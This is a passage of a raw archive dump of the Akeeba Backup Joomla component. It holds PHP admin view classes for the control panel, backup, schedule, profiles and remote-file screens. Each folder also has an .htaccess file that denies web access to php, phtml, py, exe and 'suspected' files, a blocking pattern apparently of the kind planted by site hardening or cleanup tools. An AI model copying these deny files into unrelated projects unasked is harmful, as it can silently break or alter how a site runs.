		$this->quickIconProfiles               = $model->getQuickIconProfiles();
		$this->statusCell                      = $statusHelper->getStatusCell();
		$this->detailsCell                     = $statusHelper->getQuirksCell();
		$this->latestBackupCell                = $statusHelper->getLatestBackupDetails();
		$this->areMediaPermissionsFixed        = $model->fixMediaPermissions();
		$this->checkMbstring                   = $model->checkMbstring();
		$this->needsDownloadID                 = $model->needsDownloadID() ? 1 : 0;
		$this->coreWarningForDownloadID        = $model->mustWarnAboutDownloadIDInCore();
		$this->extension_id                    = (int) $model->getState('extension_id', 0);
		$this->frontEndSecretWordIssue         = $model->getFrontendSecretWordError();
		$this->newSecretWord                   = $session->get('akeebabackup.cpanel.newSecretWord', null);
		$this->desktopNotifications            = $params->get('desktop_notifications', '0') ? 1 : 0;
		$this->formattedChangelog              = $this->formatChangelog();
		$this->promptForConfigurationwizard    = Factory::getConfiguration()->get('akeeba.flag.confwiz', 0) == 0;
		$this->countWarnings                   = count(Factory::getConfigurationChecks()->getDetailedStatus());
		$user                                  = $app->getIdentity() ?? (new User());
		$this->permissions                     = [
			'configure' => $user->authorise('akeebabackup.configure', 'com_akeebabackup'),
			'backup'    => $user->authorise('akeebabackup.backup', 'com_akeebabackup'),
			'download'  => $user->authorise('akeebabackup.download', 'com_akeebabackup'),
		];
		$this->isOutputDirectoryUnderSiteRoot  = $model->isOutputDirectoryUnderSiteRoot();
		$this->hasOutputDirectorySecurityFiles = $model->hasOutputDirectorySecurityFiles();

		$this->lastUpsellDismiss = $params->get('lastUpsellDismiss', 0);

		/** @var UpgradeModel $upgradeModel */
		$upgradeModel = $this->getModel('Upgrade');
		$upgradeModel->init();
		$this->canUpgradeFromAkeebaBackup8 = version_compare(JVERSION, '4.4.999999', 'lt') && in_array(
			true, $upgradeModel->runCustomHandlerEvent('onNeedsMigration'), true
		);
		$this->akeebaBackup8PackageId      = $this->getModel()->getAkeebaBackup8PackageId();

		/** @var UpdatesModel $updatesModel */
		$updatesModel       = $this->getModel('Updates');
		$this->updateSiteId = $updatesModel->getUpdateSiteIds()[0];

		// Load the version constants
		Platform::getInstance()->load_version_defines();

		// Add the Javascript to the document
		$wa = $app->getDocument()->getWebAssetManager();
		$wa->useScript('com_akeebabackup.controlpanel');

		$this->addJSScriptOptions();

		parent::display($tpl);
	}

	protected function addToolbar(): void
	{
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_' . (AKEEBABACKUP_PRO ? 'PRO' : 'CORE')), 'icon-akeeba');

		$toolbar = $this->getToolbarCompat();
		$toolbar->preferences('com_akeebabackup');
		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/control-panel.html');
	}

	/**
	 * Adds inline Javascript to the document
	 */
	protected function addJSScriptOptions()
	{
		$this->getDocument()->addScriptOptions(
			'akeeba.System.notification.hasDesktopNotification', (bool) $this->desktopNotifications
		);
		$this->getDocument()->addScriptOptions('akeeba.ControlPanel.needsDownloadID', (bool) $this->needsDownloadID);
		$this->getDocument()->addScriptOptions(
			'akeeba.ControlPanel.outputDirUnderSiteRoot', (bool) $this->isOutputDirectoryUnderSiteRoot
		);
		$this->getDocument()->addScriptOptions(
			'akeeba.ControlPanel.hasSecurityFiles', (bool) $this->hasOutputDirectorySecurityFiles
		);
	}

	protected function formatChangelog($onlyLast = false)
	{
		$ret   = '';
		$file  = __DIR__ . '/../../../CHANGELOG.php';
		$lines = @file($file);

		if (empty($lines))
		{
			return $ret;
		}

		array_shift($lines);

		foreach ($lines as $line)
		{
			$line = trim($line);

			if (empty($line))
			{
				continue;
			}

			$type = substr($line, 0, 1);

			switch ($type)
			{
				case '=':
					continue 2;
					break;

				case '+':
					$ret .= "\t" . '<li><span class="badge bg-success">Added</span> ' . htmlentities(
							trim(substr($line, 2))
						) . "</li>\n";
					break;

				case '-':
					$ret .= "\t" . '<li><span class="badge bg-dark">Removed</span> ' . htmlentities(
							trim(substr($line, 2))
						) . "</li>\n";
					break;

				case '~':
				case '^':
					$ret .= "\t" . '<li><span class="badge bg-info">Changed</span> ' . htmlentities(
							trim(substr($line, 2))
						) . "</li>\n";
					break;

				case '*':
					$ret .= "\t" . '<li><span class="badge bg-danger">Security</span> ' . htmlentities(
							trim(substr($line, 2))
						) . "</li>\n";
					break;

				case '!':
					$ret .= "\t" . '<li><span class="badge bg-warning">Important</span> ' . htmlentities(
							trim(substr($line, 2))
						) . "</li>\n";
					break;

				case '#':
					$ret .= "\t" . '<li><span class="badge bg-primary">Fixed</span> ' . htmlentities(
							trim(substr($line, 2))
						) . "</li>\n";
					break;

				default:
					if (!empty($ret))
					{
						$ret .= "</ul>";
						if ($onlyLast)
						{
							return $ret;
						}
					}

					if (!$onlyLast)
					{
						$ret .= "<h4>$line</h4>\n";
					}
					$ret .= "<ul class=\"akeeba-changelog\">\n";

					break;
			}
		}

		return $ret;
	}
}PK     \Sʉ        src/View/Controlpanel/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \: P	  P	    src/View/Browser/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Browser;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Model\BrowserModel;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	/**
	 * Path to current folder (with variables such as [SITEROOT] replaced)
	 *
	 * @var  string
	 */
	public $folder = '';

	/**
	 * Path to current folder (WITHOUT variables such as [SITEROOT] replaced)
	 *
	 * @var  string
	 */
	public $folder_raw = '';

	/**
	 * Parent folder
	 *
	 * @var  string
	 */
	public $parent = '';

	/**
	 * Does the current folder exist in the filesystem?
	 *
	 * @var  bool
	 */
	public $exists = false;

	/**
	 * Is the current folder under the site's root directory? False means it's an off-site directory.
	 *
	 * @var  bool
	 */
	public $inRoot = false;

	/**
	 * Is the current folder restricted by open_basedir?
	 *
	 * @var  bool
	 */
	public $openbasedirRestricted = false;

	/**
	 * Is the current folder writable?
	 *
	 * @var  bool
	 */
	public $writable = false;

	/**
	 * Subdirectories
	 *
	 * @var  array
	 */
	public $subfolders = [];

	/**
	 * Breadcrumbs to display in the browser view
	 *
	 * @var  array
	 */
	public $breadcrumbs = [];

	public function display($tpl = null)
	{
		$wa = $this->getDocument()->getWebAssetManager();
		$wa->useScript('com_akeebabackup.browser');

		/** @var BrowserModel $model */
		$model = $this->getModel();

		// Pass the data from the model to the view template
		$this->folder                = $model->getState('folder', '');
		$this->folder_raw            = $model->getState('folder_raw', '');
		$this->parent                = $model->getState('parent', '');
		$this->exists                = (bool) $model->getState('exists', false);
		$this->inRoot                = (bool) $model->getState('inRoot', false);
		$this->openbasedirRestricted = (bool) $model->getState('openbasedirRestricted', false);
		$this->writable              = (bool) $model->getState('writable', false);
		$this->subfolders            = $model->getState('subfolders');
		$this->breadcrumbs           = $model->getState('breadcrumbs');

		parent::display($tpl);
	}
}PK     \Sʉ        src/View/Browser/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \IL)  )  !  src/View/Remotefiles/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Remotefiles;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RemotefilesModel;
use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;

	/** @var string The task of the controller */
	public $task;

	/** @var string The task actually being executed by the controller */
	public $doTask;

	/**
	 * The available remote file actions
	 *
	 * @var  array
	 */
	public $actions = [];

	/**
	 * The capabilities of the remote storage engine
	 *
	 * @var  array
	 */
	public $capabilities = [];

	/**
	 * Total size of the file(s) to download
	 *
	 * @var  int
	 */
	public $total;

	/**
	 * Total size of downloaded file(s) so far
	 *
	 * @var  int
	 */
	public $done;

	/**
	 * Percentage of the total download complete, rounded to the nearest whole number (0-100)
	 *
	 * @var  int
	 */
	public $percent;

	/**
	 * The backup record ID we are downloading back to the server
	 *
	 * @var  int
	 */
	public $id;

	/**
	 * The part number currently being downloaded
	 *
	 * @var  int
	 */
	public $part;

	/**
	 * The fragment of the part currently being downloaded
	 *
	 * @var  int
	 */
	public $frag;

	/**
	 * Runs on the "listactions" task: lists all
	 *
	 * @throws Exception
	 */
	public function onBeforeListactions()
	{
		$css = <<< CSS
dt.message { display: none; }
dd.message { list-style: none; }

CSS;

		$wa = $this->getDocument()->getWebAssetManager();

		$wa
			->useScript('com_akeebabackup.remotefiles')
			->addInlineStyle($css);

		/** @var RemotefilesModel $model */
		$model              = $this->getModel();
		$this->id           = $model->getState('id', -1);
		$this->actions      = $model->getActions($this->id);
		$this->capabilities = $model->getCapabilities($this->id);
	}

	public function onBeforeDltoserver()
	{
		$css = <<< CSS
dl { display: none; }

CSS;

		$wa = $this->getDocument()->getWebAssetManager();

		$wa
			->useScript('com_akeebabackup.remotefiles')
			->addInlineStyle($css);

		/** @var RemotefilesModel $model */
		$model = $this->getModel();

		$this->setLayout('dlprogress');

		// Get progress bar stats
		$app           = Factory::getApplication();
		$this->total   = $app->getSession()->get('akeebabackup.dl_totalsize', 0);
		$this->done    = $app->getSession()->get('akeebabackup.dl_donesize', 0);
		$this->percent = ($this->total > 0)
			? min(100, (int) (100 * (abs($this->done) / abs($this->total))))
			: 0;
		$this->id      = (int) $model->getState('id', 0);
		$this->part    = (int) $model->getState('part', 0);
		$this->frag    = (int) $model->getState('frag', 0);
	}
}PK     \Sʉ        src/View/Remotefiles/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \TƎ      src/View/Schedule/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Schedule;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ScheduleModel;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewTaskBasedEventsTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewProfileIdAndNameTrait;
	use ViewToolbarTrait;

	/**
	 * Check for failed backups information
	 *
	 * @var   object
	 * @since 9.0.0
	 */
	public $checkinfo = null;

	/**
	 * Check for failed backup uploads information
	 *
	 * @var    object
	 * @since  10.1.0
	 */
	public $uploadcheck = null;

	/**
	 * CRON information
	 *
	 * @var   object
	 * @since 9.0.0
	 */
	public $croninfo = null;

	/**
	 * Is the console plugin enabled?
	 *
	 * @var   bool
	 * @since 9.0.12
	 */
	public $isConsolePluginEnabled = false;

	/**
	 * URL to automatically enable the legacy frontend API (and set a Secret Key, if necessary)
	 *
	 * @var    string|null
	 * @since  9.5.2
	 */
	private ?string $enableLegacyFrontendURL;

	/**
	 * URL to automatically enable the JSON API (and set a Secret Key, if necessary)
	 *
	 * @var    string|null
	 * @since  9.5.2
	 */
	private ?string $enableJsonApiURL;

	/**
	 * URL to reset the secret word to something that actually works
	 *
	 * @var    string|null
	 * @since  9.5.2
	 */
	private ?string $resetSecretWordURL;

	protected function onBeforeMain()
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_SCHEDULE'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(
			null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/automating-your-backup.html'
		);

		$this->getProfileIdAndName();

		$this->isConsolePluginEnabled = PluginHelper::isEnabled('console', 'akeebabackup');

		// Get the CRON paths
		/** @var ScheduleModel $model */
		$model             = $this->getModel();
		$this->croninfo    = $model->getPaths();
		$this->checkinfo   = $model->getCheckPaths();
		$this->uploadcheck = $model->getUploadcheckPaths();

		$this->enableLegacyFrontendURL = Route::_(
			sprintf(
				'index.php?option=com_akeebabackup&task=Schedule.enableFrontend&%s=1',
				Factory::getApplication()->getFormToken()
			)
		);

		$this->enableJsonApiURL = Route::_(
			sprintf(
				'index.php?option=com_akeebabackup&task=Schedule.enableJsonApi&%s=1',
				Factory::getApplication()->getFormToken()
			)
		);

		$this->resetSecretWordURL = Route::_(
			sprintf(
				'index.php?option=com_akeebabackup&task=Schedule.resetSecretWord&%s=1',
				Factory::getApplication()->getFormToken()
			)
		);

	}
}PK     \Sʉ        src/View/Schedule/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \r}    )  src/View/Configurationwizard/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Configurationwizard;

defined('_JEXEC') || die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	public function display($tpl = null)
	{
		// Set up the toolbar
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_CONFWIZ'), 'icon-akeeba');

		// Push translations
		// -- Wizard
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE');
		Text::script('COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE');

		// -- Backup
		Text::script('COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE', true);

		// Load the Configuration Wizard Javascript file and its dependencies
		$this->getDocument()->getWebAssetManager()->useScript('com_akeebabackup.configuration_wizard');

		$this->getDocument()->addScriptOptions('akeebabackup.System.params.AjaxURL', 'index.php?option=com_akeebabackup&view=Configurationwizard&task=ajax');
		
		parent::display($tpl);
	}

}PK     \Sʉ      &  src/View/Configurationwizard/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \-HU  U    src/View/Profiles/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Profiles;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewListLimitFixTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTableUITrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfilesModel;
use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Pagination\Pagination;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\Registry\Registry;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewTableUITrait;
	use ViewListLimitFixTrait;
	use ViewToolbarTrait;

	/**
	 * The search tools form
	 *
	 * @var    Form
	 * @since  1.6
	 */
	public $filterForm;

	/**
	 * The active search filters
	 *
	 * @var    array
	 * @since  1.6
	 */
	public $activeFilters = [];

	/**
	 * An array of items
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $items = [];

	/**
	 * The pagination object
	 *
	 * @var    Pagination
	 * @since  1.6
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var    Registry
	 * @since  1.6
	 */
	protected $state;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 */
	public function display($tpl = null): void
	{
		$errors = [];

		try
		{
			/** @var ProfilesModel $model */
			$model = $this->getModel();
			$this->fixListLimitPastTotal($model);
			$this->items         = $model->getItems();
			$this->pagination    = $model->getPagination();
			$this->state         = $model->getState();
			$this->filterForm    = $model->getFilterForm();
			$this->activeFilters = $model->getActiveFilters();
		}
		catch (Exception $e)
		{
			$errors = [$e->getMessage()];
		}

		// Check for errors.
		if (method_exists($this->getModel(), 'getErrors'))
		{
			/** @noinspection PhpDeprecationInspection */
			$errors = $this->getModel()->getErrors();
		}

		if (
			(is_array($errors) || $errors instanceof \Countable)
				? count($errors)
				: 0
		)
		{
			throw new GenericDataException(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar(): void
	{
		$user = Factory::getApplication()->getIdentity();

		// Get the toolbar object instance
		$toolbar = $this->getToolbarCompat();

		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_PROFILES'), 'icon-akeeba');

		$toolbar->addNew('profile.add');

		$toolbar->standardButton('copy', 'COM_AKEEBABACKUP_LBL_BATCH_COPY', 'profiles.copy')
			->listCheck(true);

		if ($user->authorise('akeebabackup.configure', 'com_akeebabackup'))
		{
			$dropdown = $toolbar->dropdownButton('status-group')
				->text('JTOOLBAR_CHANGE_STATUS')
				->toggleSplit(false)
				->icon('icon-ellipsis-h')
				->buttonClass('btn btn-action')
				->listCheck(true);

			$childBar = $dropdown->getChildToolbar();

			$childBar->publish('profiles.publish')
				->icon('fa fa-check-circle')
				->text('COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH')
				->listCheck(true);

			$childBar->unpublish('profiles.unpublish')
				->icon('fa fa-times-circle')
				->text('COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH')
				->listCheck(true);

			$childBar->standardButton('reset', 'COM_AKEEBABACKUP_PROFILES_BTN_RESET', 'profiles.reset')
				->icon('fa fa-radiation')
				->listCheck(true);

			$childBar->delete('profiles.delete')
				->message('JGLOBAL_CONFIRM_DELETE')
				->listCheck(true);
		}

		$toolbar->linkButton('import', 'COM_AKEEBABACKUP_PROFILES_IMPORT', '')
			->icon('fa fa-upload')
			->attributes([
				'data-bs-toggle' => 'modal',
				'data-bs-target' => '#importModal',
			])
			->url('#')
		;

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		if ($user->authorise('core.admin', 'com_akeebabackup') || $user->authorise('core.options', 'com_akeebabackup'))
		{
			$toolbar->preferences('com_akeebabackup');
		}

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/using-basic-operations.html#profiles-management');
	}
}PK     \Sʉ        src/View/Profiles/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \&N  N    src/View/Backup/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Backup;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Helper\Status;
use Akeeba\Component\AkeebaBackup\Administrator\Helper\Utils;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileListTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ControlpanelModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileListTrait;
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;

	/**
	 * Do we have errors preventing the backup from starting?
	 *
	 * @var  bool
	 */
	public $hasErrors = false;

	/**
	 * Do we have warnings which may affect –but do not prevent– the backup from running?
	 *
	 * @var  bool
	 */
	public $hasWarnings = false;

	/**
	 * The HTML of the warnings cell
	 *
	 * @var  string
	 */
	public $warningsCell = '';

	/**
	 * Backup description
	 *
	 * @var  string
	 */
	public $description = '';

	/**
	 * Default backup description
	 *
	 * @var  string
	 */
	public $defaultDescription = '';

	/**
	 * Backup comment
	 *
	 * @var  string
	 */
	public $comment = '';

	/**
	 * JSON string of the backup domain name to titles associative array
	 *
	 * @var  array
	 */
	public $domains = '';

	/**
	 * Maximum execution time in seconds
	 *
	 * @var  int
	 */
	public $maxExecutionTime = 10;

	/**
	 * Execution time bias, in percentage points (0-100)
	 *
	 * @var  int
	 */
	public $runtimeBias = 75;

	/**
	 * URL to return to after the backup is complete
	 *
	 * @var  string
	 */
	public $returnURL = '';

	/**
	 * Is the output directory unwritable?
	 *
	 * @var  bool
	 */
	public $unwriteableOutput = false;

	/**
	 * has the user configured an ANGIE password?
	 *
	 * @var  string
	 */
	public $hasANGIEPassword = '';

	/**
	 * Should I autostart the backup?
	 *
	 * @var  string
	 */
	public $autoStart = false;

	/**
	 * Should I display desktop notifications? 0/1
	 *
	 * @var  int
	 */
	public $desktopNotifications = 0;

	/**
	 * Should I try to automatically resume the backup in case of an error? 0/1
	 *
	 * @var  int
	 */
	public $autoResume = 0;

	/**
	 * After how many seconds should I try to automatically resume the backup?
	 *
	 * @var  int
	 */
	public $autoResumeTimeout = 10;

	/**
	 * How many times in total should I try to automatically resume the backup?
	 *
	 * @var  int
	 */
	public $autoResumeRetries = 3;

	/**
	 * Should I prompt the user to run the Configuration Wizard?
	 *
	 * @var  bool
	 */
	public $promptForConfigurationwizard = false;

	/**
	 * Runs before displaying the backup page
	 */
	public function onBeforeMain()
	{
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_BACKUP'), 'icon-akeeba');

		// Load the view-specific Javascript
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.backup')
			->usePreset('choicesjs')
			->useScript('webcomponent.field-fancy-select');

		// Load the models
		/** @var ControlpanelModel $cpanelmodel */
		$cpanelmodel = $this->getModel('controlpanel');
		$model = $this->getModel();

		// Load the Status Helper
		$helper = Status::getInstance();

		// Determine default description
		$default_description = $this->getDefaultDescription();

		// Load data from the model state
		$backup_description = $model->getState('description', $default_description);
		$comment            = $model->getState('comment', '');
		$returnurl          = Utils::safeDecodeReturnUrl($model->getState('returnurl', ''));

		// Get the maximum execution time and bias
		$engineConfiguration = Factory::getConfiguration();
		$maxexec             = $engineConfiguration->get('akeeba.tuning.max_exec_time', 14) * 1000;
		$bias                = $engineConfiguration->get('akeeba.tuning.run_time_bias', 75);

		// Check if the output directory is writable
		$warnings         = Factory::getConfigurationChecks()->getDetailedStatus();
		$unwritableOutput = array_key_exists('001', $warnings);

		// Get the component parameters
		$params = ComponentHelper::getParams('com_akeebabackup');

		// Pass on data
		$this->getProfileList();
		$this->getProfileIdAndName();

		$this->hasErrors                    = !$helper->status;
		$this->hasWarnings                  = $helper->hasQuirks();
		$this->warningsCell                 = $helper->getQuirksCell(!$helper->status);
		$this->description                  = $backup_description;
		$this->defaultDescription           = $default_description;
		$this->comment                      = $comment;
		$this->domains                      = $this->getDomains();
		$this->maxExecutionTime             = $maxexec;
		$this->runtimeBias                  = $bias;
		$this->returnURL                    = $returnurl;
		$this->unwriteableOutput            = $unwritableOutput;
		$this->autoStart                    = (bool) $model->getState('autostart', 0);
		$this->desktopNotifications         = $params->get('desktop_notifications', '0') ? 1 : 0;
		$this->autoResume                   = $engineConfiguration->get('akeeba.advanced.autoresume', 1);
		$this->autoResumeTimeout            = $engineConfiguration->get('akeeba.advanced.autoresume_timeout', 10);
		$this->autoResumeRetries            = $engineConfiguration->get('akeeba.advanced.autoresume_maxretries', 3);
		$this->promptForConfigurationwizard = $engineConfiguration->get('akeeba.flag.confwiz', 0) == 0;
		$this->hasANGIEPassword = !empty(trim($engineConfiguration->get('engine.installer.angie.key', '')));
	}

	/**
	 * Get the default description for this backup attempt
	 *
	 * @return  string
	 */
	private function getDefaultDescription()
	{
		return $this->getModel()->getDefaultDescription();
	}

	/**
	 * Get a list of backup domain keys and titles
	 *
	 * @return  array
	 */
	private function getDomains()
	{
		$engineConfiguration = Factory::getConfiguration();
		$script              = $engineConfiguration->get('akeeba.basic.backup_type', 'full');
		$scripting           = Factory::getEngineParamsProvider()->loadScripting();
		$domains             = [];

		if (empty($scripting))
		{
			return $domains;
		}

		foreach ($scripting['scripts'][$script]['chain'] as $domain)
		{
			$description = Text::_($scripting['domains'][$domain]['text']);
			$domain_key  = $scripting['domains'][$domain]['domain'];
			$domains[]   = [$domain_key, $description];
		}

		// Backup steps use COM_AKEEBA_* lang constants for compatibility reasons. We need to change them.
		$domains = array_map(function($domain){
			$domain[1] = Text::_(str_replace('COM_AKEEBA_', 'COM_AKEEBABACKUP_', $domain[1]));

			return $domain;
		}, $domains);

		return $domains;
	}
}PK     \Sʉ        src/View/Backup/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \g    !  src/View/Filefilters/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
